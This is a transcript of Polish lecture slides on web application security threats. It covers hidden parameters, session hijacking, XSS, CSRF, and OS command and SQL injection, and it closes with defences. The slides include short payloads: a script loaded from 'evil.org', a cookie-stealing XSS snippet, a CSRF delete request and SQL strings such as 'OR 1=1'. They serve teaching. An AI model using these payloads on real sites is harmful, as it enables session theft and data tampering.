Zagrozenia aplikacji internetowych
Transkrypt
Zagrozenia aplikacji internetowych
Zagrożenia aplikacji internetowych Dr inż. Marek Miłosz Plan n n n n n n Aplikacja internetowa Proste zagrożenia Ukryte parametry na stronie Manipulacje parametrami (doklejanie, zmiana ścieżki) Wstrzykiwanie (ang. Injection) zawartości (treści, HTML, kodu programowego i SQL) Ataki na sesje (c) M.Miłosz 2 Aplikacja internetowa „Dynamiczne” strony WWW n Kod wykonywany na serwerze n Manipulowanie danymi przez klienta n Współpraca z serwerem bazy danych i innych usług n Komunikacja z klientem przy pomocy protokołu http (https) n Dane pobierane przy pomocy formularzy HTML i przesyłane metodą GET lub POST n Klient – standardowa przegl ądarka WWW n (c) M.Miłosz 3 Aplikacja internetowa architektura .ini Przeglądarka Statyczne strony Multimedia .ini Serwer WWW Klient Serwer Aplikacja .ini Programy Serwer aplikacji .ini BD Serwer BD (c) M.Miłosz .ini Inne serwery 4 Przykłady technologii CGI – Common Gateway Interface (uruchamianie skryptów – zwykle w Perlu, Phyton, PHP czy VB, poleceń SO) n ASP - Active Server Pages (MS, VB Script lub C#); obecni e ASP.NET n JSP – Java Server Pages n J2EE (JSP/ Servlet/EJB) n Oracle 9i n PHP n (c) M.Miłosz 5 Wzrost zagro żeń Powszechna dost ępność aplikacji n Anonimowi klienci n Przenośność oprogramowani a n Stosowanie standardów (ogólnie znanych) n Wysoki poziom abstrakcj i danych n Jawność kodu (HTML, JavaScript) n Skomplikowane języki programowania oraz konfiguracje wykonawcze (np. MySQL serwer + PHP parser + Apache + pl iki HTML, CSS i inne) n (c) M.Miłosz 6 Jeden z problem ów Konieczność utrzymania sesji w bezstanowym pr otokole http n Rozwiązania: n ¨ Ukryte pola w formularzach ¨ Parametry wywołania (stan sesji po stronie serwera, ale Id po stronie klienta) ¨ Cookies ¨ IP, MAC n Wszystko po stroni e klienta ;-( (c) M.Miłosz 7 Proste zagro żenia n Nazewnictwo plików (łatwe do odgadni ęcia -> pobrania poza aplikacją), np. form_11.html http://www.codeguru.pl/article-515.aspx Stare wersje plików (możliwość pobrania bez wykonani a; np. plik.jsp a plik.jsp.old) n Istotne informacje w komentarzach kodu HTML (automat ycznie wstawiane przez narzędzia, programistów, znaczniki META) n <!-- <P align="center"><A href="AskBillGates.aspx"> <IMG alt="Zapytaj Billa Gatesa!" src="img/AskBillGmonitor.jpg" border="0"></A></P> --> (w CodeGuru ;-)) (c) M.Miłosz 8 „Ręczne” pobranie (c) M.Miłosz 9 Badanie środowiska – wstęp do ataku Analiza źródła (HEAD, OPTI ONS, META) n Analiza zwracanych b łędów (np. 404) n Analiza komunikatów na nieznany typ pliku (np. asp czy exe) n Zmiana danych wejściowych w celu wywołania błędu skryptu n (c) M.Miłosz 10 Strona z błędem Error 404 wykladowcy.wspa.edu.pl Wed Jan 2 09:28:56 2008 Apache (c) M.Miłosz 11 Ukryte para metry n Zapamiętywanie zmiennych po stroni e klienta: <input type="hidden" name="nr" value="3335w" /> Niewidoczne na formul arzach ale widoczne w tekście źródłowym n Zapamiętywanie istotnych dan ych -> zagrożenie n (c) M.Miłosz 12 Ukryte para metry - modyfikacja n GET – adres w przeglądarce (łatwa zmiana); wartości max. 100 znaków; struktura: URL?name=value&name=value n POST (dla długich wartości zmiennych lub nieASCII): pliku HT ML, zmiana warto ści ukrytego parametru i uruchomienie pliku ¨ Zastosowanie lokalnego proxy, modyfikującego „w locie” ruch HTML ¨ Zapisanie (c) M.Miłosz 13 Lokalne proxy Działa lokalnie na stacji intruza n Adres 127.0.0.1 i port proxy należy skonfigurować w przeglądarce n Przechwytuje i modyfikuje ruch w locie n Najbardziej znany: www.webproxy.com (zablokowane), ale…Odysseus (dostępny min. www.bindshell.net/tools/odysseus) n (c) M.Miłosz 14 Doklejanie parametr ów Odgadnięcie/podejrzenie nazwy zmiennej n Brak inicjacji zmiennej w kodzie n „Doklejenie” jej w linii lub przez proxy n Przykład: n http://serwer/login.php?login=x&pass=y&czyOK=OK KOD: if (sprawdz_w_bazie($login, $pass)) {$czyOK=”OK”}; if ($czyOK == ”OK”) { JEST OK } else { BŁĄD }; (c) M.Miłosz 15 Obsługa sytuacji specjalnych Wszystkie wyjątki/błędy/błędne dane powinny być obsłużone przez aplikacj ę n Sytuacja specjalna – np. brak parametru lub niewłaściwy format danych parametru lub niewłaściwa wartość (poza zakresem) n Możliwość zaburzenia pracy aplikacji (logiki lub unieruchomienie) n (c) M.Miłosz 16 Cookies (1) n Czym są? tekstowe – przechowywane u klienta (konieczność udostępnienia opcji zapisu) ¨ Pliki n Przechowują – (nazwa+wartość) dane: ¨ Nazwa ciasteczka ¨ Domena ¨ Czas ważności (uwaga na zegar klienta!) ¨ Inne (aplikacja) n Zapis na żądanie serwera: n Przykład: Set-Cookie: nazwa=wartość; expires=DATA; path=ŚCIEŻKA; domain=DOMENA; secure eprawniktrackingd1ca0080273ad8e676db26cc6d1463e5eprawnik.pl/prawo/153637831567362991998412206135202 9901880* 17 (c) M.Miłosz Cookies (2) n n n n Cookies powinny być dostępne tylko dla danego serwera (ale...) Można przechwytywać i modyfikować przy pomocy lokalnego proxy Można pozyskać ID sesji lub domyślić się innego ID sesji -> wznowić lub przejąć sesję Można modyfikować parametry (najczęściej flaga/status autoryzacji klient a), np.: setcookie(”autoryzacja”,”tak”) n Modyfikować cookies można też w przypadku protokołu SSL (lokalne proxy realizuje przejęcie, atak „man in the middle”) 18 (c) M.Miłosz „Man in the middle” SSL(1) Brak szyfrowania 127.0.0.1 SSL(2) Przeglą darka Lokalne proxy Serwer Klient (c) M.Miłosz 19 Podszycie si ę pod sesję Wymagana jest znajomość identyfikatora sesji (tokena) n Zwykle w cookie, ale też w parametrze GET/POST lub ukrytym polu w FORM n Skąd? n ¨ Podsłuchać ¨ Przewidzieć ¨ Ukraść n Można ominąć mechanizmy autentykacji klienta – przejęcie lub wznowienie sesji (np. administratora aplikacji) (c) M.Miłosz 20 Token n n n n n Losowy – nieprzewidywalny Ograniczony czasowo – by uniknąć możliwości „brutalnego” ataku Dostatecznie długi - by uniknąć możliwości „brutalnego” ataku oraz „losowego” odgadnięcia Zależny od IP klienta – by uniemożliwić wznowienie Szyfrowany (cooki przez SSL) – by ograniczyć możliwość przechwycenia (c) M.Miłosz 21 Skąd pochodzi? n W większości przypadków z API (np. parsera PHP): JSESSIONID (JSP), PHPSESSID (PHP), ASPSESSIONID (Microsoft ASP) n Niektóre API mają/miały przewidywalne algorytmy (np. IBM WebSphere 4.0) ;-( (c) M.Miłosz 22 Wstrzykiwanie (ang. Injection) Niechciane przekazani e nieoczekiwanych danych do aplikacji n Wstrzyknięcie: n ¨ Niechcianej t reści ¨ Kodu HTML/skryptu ¨ Polecenia syst emu operacyjne go ¨ Polecenia SQL (c) M.Miłosz 23 Wstrzyknięcie treści Wprowadzenie treści niepożądanej do serwisu (wulgaryzmy, seks, nazi zm itp.) n Klasyczny problem różnego typu forów, ankiet otwartych, ocen produkt ów itp. n Walka: n ¨ Ręczna moderacja (trudna i kosztowna) ¨ Przeszukiwanie słownikowe (mało efektywne dla sprytnych wandali) (c) M.Miłosz 24 Wstrzyknięcie kodu HTML n n Atak na innego użytkownika przez napastnika z wykorzystaniem aplikacji internetowej jako nosiciela Istota: Wykonanie kodu HTML (cz ęsto w połączeniu ze skryptem) przez przegl ądarkę ofiary n n n Możliwy kiedy aplikacja pobiera dane i je publikuje bez należytego sprawdzenia Cross-Site Scripting (XSS) – skrypty (klient ufa apl) Cross-Site Request Forgeries (CSRF/XRF) – wykorzystanie właściwości http, pobieranie składników strony (apl. ufa klientowi) 25 (c) M.Miłosz Proste wstrzykni ęcie HTML n Wykorzystanie znaczników HTML: ¨ Przypadkowe zepsucie strony (zapomnienie wsta wienia zamykającego znacznika lub znaku spacjalnego) ¨ Wykorzystanie <FORM> do pobrania danych od klienta ¨ Nieoczekiwane dla klienta przej ścia do innej strony: <a href=”http://www.zla.strona.pl”> Zobacz </a> ¨ Wywołanie skryptu bez wied zy administratora (napastnik pozostawia, a admin na swoje sesji uruchami a) - CSRF: Ukrycie komunikatu <IMG src="admin.php?delete=13"> <IMG style="display: none;" src="admin.php?delete=13"> (c) M.Miłosz braku obrazu 26 Pomyłka <TR> <TD colspan=2 bgcolor="#FFFFCC"> <font size="2"> <b> Pomyłka Wiadomość: <br> </b> <a href=" > coś </a></font> </TD> </TR> <TR> <TD colspan=2> <form method="post" name="form2" action="news.php?action=usun " style="font-size: 10px"> Przycisk nieaktywny (c) M.Miłosz 27 Rezultat wstawienia <a> (c) M.Miłosz 28 Wstrzykiwanie znak ów n Wstawianie niedozwolonych znaków do URI (standard : Uniform Resource Identifiers (URI): Generic Syntax”, http://www.ietf.org/rfc/rfc2396.txt ), URL: ¨ Zarezerwowanych: ;/?:@&=+$, ¨ Sterujących: ENTER, Esc, Null ¨ Znaczników: <> Kodowanie procentowe: %cc (c- cyfra heksadecymal na), np. %20 – SPACE (ASCII kod: 32), a % koduj e się jako %25 n Wielokrotne kodowani e, np. %255c daje / to samo: %25%3 5%63 n (c) M.Miłosz 29 Wstrzyknięcie skryptu Wykorzystanie znaczników <SCRIPT>, <OBJECT>, <A PPLET> czy <EMBED> n Przykłady: n Hello World! <SCRIPT>zły kod</SCRIPT> Hello World! <EMBED SRC="http://www.paedophile.com/rape.mov"> <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org</A> (c) M.Miłosz 30 Inne wstrzykni ęcia złego kodu n Wykorzystanie zdarzeń w interfejsie: <b onMouseOver="self.location.href='http://ev il.org/'"> bolded text</b> n Wywołanie błędu i zwrot kodu: http://trusted.org/<script>code</script> (c) M.Miłosz 31 Przykład błędu Warning: unlink(/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./nowy_) [function.unlink]: No such file or directory in /home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowca/pl iki/marekm/wykladowca.php on line 523 Warning: rmdir(/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./2005-6_sesja_zimowa/) [function.rmdir]: Directory not empty in /home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowca/ pliki/marekm/wykladowca.php on line 517 (c) M.Miłosz 32 XCC – kradzież Cookies n Po stronie serwera: <SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' + escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT> n Pobranie Cookie Wpisanie w artości zmiennej obr U klienta (po wykonaniu skryptu): <IMG src=”zly.php?ciasteczka=zawartość_cookie”> Otwarcie strony powoduje automatyczne przesłanie Cookie oraz akcję zly.php (np. zapisanie Cookie oraz odesłanie rysunku) n Escape() zamienia znaki specjalne na %nn (wysłanie URI) n (c) M.Miłosz 33 Atak CSRF na lokalną aplikację (c) M.Miłosz Shiflett C.: Foiling Cross-Site Attacks, PHP Architect nr 10/2003 34 Wstrzyknięcie polecenia SO n Aplikacja przekazuje do klienta parametr y do wywołania systemowego: ¨ Funkcji API ¨ Polecenia SO n Jeśli parametry nie są sprawdzone przed wywołaniem to można: ¨ Dokleić swoje parametry ¨ Wywołać swoje polecenie SO (np. exec(), system()) (c) M.Miłosz 35 Przykład <HTML> <?php passthru ( " /home/user/metoda " . $_GET['USER_INPUT'] ); ?> n Można: ¨ Wykonać polecenie SO (dir, copy czy ld) ¨ Wykonać ciąg poleceń, wykorzystując: | ¨ Nadpisać plik na serwerze: > plik n Ochrona: ¨ escapeshellarg () ¨ escapeshellcmd () (c) M.Miłosz 36 Wstrzyknięcie SQL n n Atak na warstwę danych Przyczyna: ¨ Brak weryfikacji parametr ów przekazywanych od klienta do aplikacji ¨ Konstrukcja zapyta ń SQL poprzez sklejanie statycznego kodu SQL z wartościami parametr ów n Przykład: $sql=”select * from pytania where id=$id”; $wynik = mysql_query($sql); A co jeśli było wcześniej: $id=$_GET[‘user_input’]; I podano: 1 or 1=1 (c) M.Miłosz 37 Typowe ata ki n Niekontrolowany dostęp do danych: …UNION SELECT… n Zmiana logiki działania aplikacji: …OR 1=1… n Wykonanie wielu poleceń z jednej linii (nie we wszystkich SZBD jest to możliwe, MS SQL Server - tak) – usunięcie, modyfikacja danych (dowolne polecenie SQL): …; DELETE * FROM… …; UPDATE … (c) M.Miłosz 38 Przykład n Kod: $sql=”select count(*) from uwierz where uzytkownik=$uzytkownik”. ” and haslo=$haslo”; n Zmienna $uzytkownik=”jakis” a $haslo z formularza ma wartość: OK OR 1=1 n Wynikowe zapytanie: select count(*) from uwierz where uzytkownik=jakis AND haslo=OK OR 1=1; (c) M.Miłosz 39 GOOGLE hacking (1) n Obejście zabezpiecze ń przez roboty: [PDF] Projektowanie aplikacji J2EE w architekturze Model-View-Controller Format pliku: PDF/Adobe Acrobat - Wersja HTML JSP. (View). Klasa. zewnętrzna. (Model). 1. 3. 5. Serwlet. (Controller). 2. 4. 4. Rys. 1. Schemat przykładowej aplikacji w architekturze MVC ... www.ploug.org.pl/konf_05/materialy/pdf/03.pdf - Podobne strony n n Pobranie 03.pdf i wszystkich: 01.pdf, 02.pdf,… Ale www.ploug.org.pl/konf_05/materiały/pdf daje: Forbidden You don't have permission to access /konf_05/materialy/pdf/ on this server. Apache Server at www.ploug.org.pl Port 80 (c) M.Miłosz 40 GOOGLE hacking n n n http://www.eioba.pl/a75243/google_hacking_zar ys_problemu Komunikaty błędów: Warning: mysql_query() [function.mysql-query]: Unable to save result set in /www/pasjagsm_www/www/forum/db/mysql4.php on line 148 Critical Error! message_die() was called multiple times. Error #1 Could not obtain common word list Line : 323 File : /www/pasjagsm_www/www/forum/includes/functions_search.php SQL : SELECT word_id FROM phpbb_search_wordmatch GROUP BY word_id HAVING COUNT(word_id) > 37040 SQL message: MySQL server has gone away Error #2 Error doing DB query: pw count fetch Line : 1759 File : /www/pasjagsm_www/www/forum/includes/page_header.php SQL : SELECT COUNT(*) AS pw_count FROM phpbb_privmsgs pm WHERE pm.privmsgs_to_userid = 4605 AND pm.privmsgs_type <> 2 GROUP BY pm.privmsgs_to_userid SQL message: MySQL server has gone away Please, contact the Administrator. Thank you. (c) M.Miłosz 41 Ochrona aplikacji (1) n n n Ograniczenie odpowiedzi serwera z parametrami klienta (zamiast: Witaj Marek można: Witaj Użytkowniku) Ograniczenie długości odpowiedzi klienta (ograniczenie od strony klienta długości łańcucha ale też sprawdzenie w aplikacji) Filtrowanie i usunięcie groźnych znaków (szczególnie < i >, ale też i ‘, ” czy ;) ale uwaga na specyficzne kody, np. < to też /x3c, ew. zamiana znaków < na < (w ASP: HTMLEncode() w PHP: htmlentities() ) (c) M.Miłosz 42 Ochrona aplikacji (2) Analiza wartości parametrów wejściowych (otrzymywanych od klienta) i wyjściowych (publikowanych na stronie lub zapisywanych do BD) n Analiza składni i blokowanie niepożądanych znaczników, szczególnie <SCRIPT> i <EMBED>, <OBJECT> n Użycie metody POST w formularzach n Weryfikacja cookies przed użyciem (i kontrola czasu trwania sesji) n (c) M.Miłosz 43 Ochrona aplikacji (3) n Wygenerowanie identyfikatora sesji na stronie wejściowej i kontrola na pozosta łych, często zawiera sumę kontrolna IP klienta, np. http://trusted.org/app.jsp?session=h3uf8309a i9.830988 w tym przypadku serwer utrzymuje stan sesji (demarkacja sesji, klient dostarcza ID – parametr lub cookie) n Dokładna znajomość specyfikacji/standardów sieciowych n Precyzyjne ustawienia parametrów serwerów, parserów i SO (c) M.Miłosz 44 Ochrona aplikacji - architektura n n n n Wprowadzenie kontrolera obsługującego całość komunikacji z klientem Wprowadzenie jednorazoweg o tokena – zapobiega duplikacji przesyłanych danych, przechwycenia sesji itp. (musi zaistnieć zgodność tokena z wysłanym w poprzednim pliku) Separacja warstw: biznesowej i prezentacji, a także danych Ukrycie zasobów przed klientem (c) M.Miłosz 45 Zabezpiecz swoj ą aplikację Wiedza to umożliwi